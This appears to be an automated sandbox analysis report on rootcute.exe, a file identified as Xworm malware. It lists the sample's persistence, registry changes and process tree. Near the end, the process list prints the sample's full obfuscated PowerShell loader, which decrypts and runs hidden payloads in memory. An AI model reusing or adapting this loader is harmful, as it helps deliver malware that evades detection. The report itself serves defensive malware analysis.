Analysis Overview
SHA256
1d6473b8d36b5e67caac53fee7e4461b0d48781199da1ca1bf984bea1a4fcef8
Threat Level: Known bad
The file rootcute.exe was found to be: Known bad.
Malicious Activity Summary
Xworm
Suspicious use of NtCreateUserProcessOtherParentProcess
Detect Xworm Payload
Modifies Installed Components in the registry
Command and Scripting Interpreter: PowerShell
Executes dropped EXE
Drops startup file
Adds Run key to start application
Enumerates connected drives
Looks up external IP address via web service
Drops file in System32 directory
Drops file in Windows directory
Enumerates physical storage devices
Unsigned PE
Creates scheduled task(s)
Checks SCSI registry key(s)
Suspicious use of AdjustPrivilegeToken
Suspicious use of SendNotifyMessage
Enumerates system info in registry
Uses Task Scheduler COM API
Modifies registry class
Suspicious use of SetWindowsHookEx
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
Suspicious use of FindShellTrayWindow
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Modifies Internet Explorer settings
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-14 23:00
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-14 23:00
Reported
2024-06-14 23:01
Platform
win10-20240611-en
Max time kernel
15s
Max time network
56s
Command Line
Signatures
Detect Xworm Payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Suspicious use of NtCreateUserProcessOtherParentProcess
| Description | Indicator | Process | Target |
| PID 4236 created 3140 | N/A | C:\Windows\System32\svchost.exe | C:\Windows\Explorer.EXE |
Xworm
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Modifies Installed Components in the registry
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Active Setup\Installed Components | C:\Windows\explorer.exe | N/A |
Drops startup file
| Description | Indicator | Process | Target |
| File created | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk | C:\Users\Admin\AppData\Roaming\svhost.exe | N/A |
| File opened for modification | C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svhost.lnk | C:\Users\Admin\AppData\Roaming\svhost.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\svhost.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Windows\CurrentVersion\Run\svhost = "C:\\Users\\Admin\\AppData\\Local\\Temp\\svhost.exe" | C:\Users\Admin\AppData\Roaming\svhost.exe | N/A |
Enumerates connected drives
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\B: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\H: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Y: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\F: | C:\Windows\explorer.exe | N/A |
| File opened (read-only) | \??\I: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\V: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Z: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\M: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\X: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\G: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\L: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\N: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\W: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\A: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\E: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\K: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\U: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\S: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\T: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\D: | C:\Windows\explorer.exe | N/A |
| File opened (read-only) | \??\P: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\Q: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\R: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\J: | c:\windows\system32\svchost.exe | N/A |
| File opened (read-only) | \??\O: | c:\windows\system32\svchost.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\Tasks\svhost | c:\windows\system32\svchost.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\rescache\_merged\1601268389\715946058.pri | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| File created | C:\Windows\rescache\_merged\4032412167\4002656488.pri | C:\Windows\explorer.exe | N/A |
| File created | C:\Windows\rescache\_merged\2717123927\1590785016.pri | C:\Windows\explorer.exe | N/A |
Enumerates physical storage devices
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\HardwareID | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Capabilities | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Capabilities | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 | C:\Windows\explorer.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\ConfigFlags | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 | C:\Windows\explorer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 | C:\Windows\explorer.exe | N/A |
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\schtasks.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000\Software\Microsoft\Internet Explorer\GPU | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DomStorageState | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "7342" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "56" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "7309" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance | C:\Windows\explorer.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\microsoft.windows.cortana | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "23" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\microsoft.windows.cortana\ = "56" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (data) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots | C:\Windows\explorer.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\windows.cortana | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-1453213197-474736321-1741884505-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.windows.cortana_cw5n1h2txyewy\Internet Explorer\DOMStorage\windows.cortana\Total = "23" | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\svchost.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
| N/A | N/A | C:\Windows\explorer.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Roaming\svhost.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k rpcss
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s TokenBroker
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s wlidsvc
C:\Users\Admin\AppData\Local\Temp\rootcute.exe
"C:\Users\Admin\AppData\Local\Temp\rootcute.exe"
C:\Users\Admin\AppData\Roaming\svhost.exe
"C:\Users\Admin\AppData\Roaming\svhost.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\xMultiPower.bat" "
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('NZA7uStBimzhU2pjm6inNDqFkCs0FhB+CeLL79sWRI4='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6OswDjQA8VBkciMxnDy1mg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $pIVYA=New-Object System.IO.MemoryStream(,$param_var); $kljBV=New-Object System.IO.MemoryStream; $Cddeu=New-Object System.IO.Compression.GZipStream($pIVYA, [IO.Compression.CompressionMode]::Decompress); $Cddeu.CopyTo($kljBV); $Cddeu.Dispose(); $pIVYA.Dispose(); $kljBV.Dispose(); $kljBV.ToArray();}function execute_function($param_var,$param2_var){ $uzlSo=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uoqGL=$uzlSo.EntryPoint; $uoqGL.Invoke($null, $param2_var);}$swHsV = 'C:\Users\Admin\AppData\Roaming\xMultiPower.bat';$host.UI.RawUI.WindowTitle = $swHsV;$PZzIj=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($swHsV).Split([Environment]::NewLine);foreach ($hSmwK in $PZzIj) { if ($hSmwK.StartsWith('SnmHeIeicRORhReMwpKo')) { $LpkSF=$hSmwK.Substring(20); break; }}$payloads_var=[string[]]$LpkSF.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
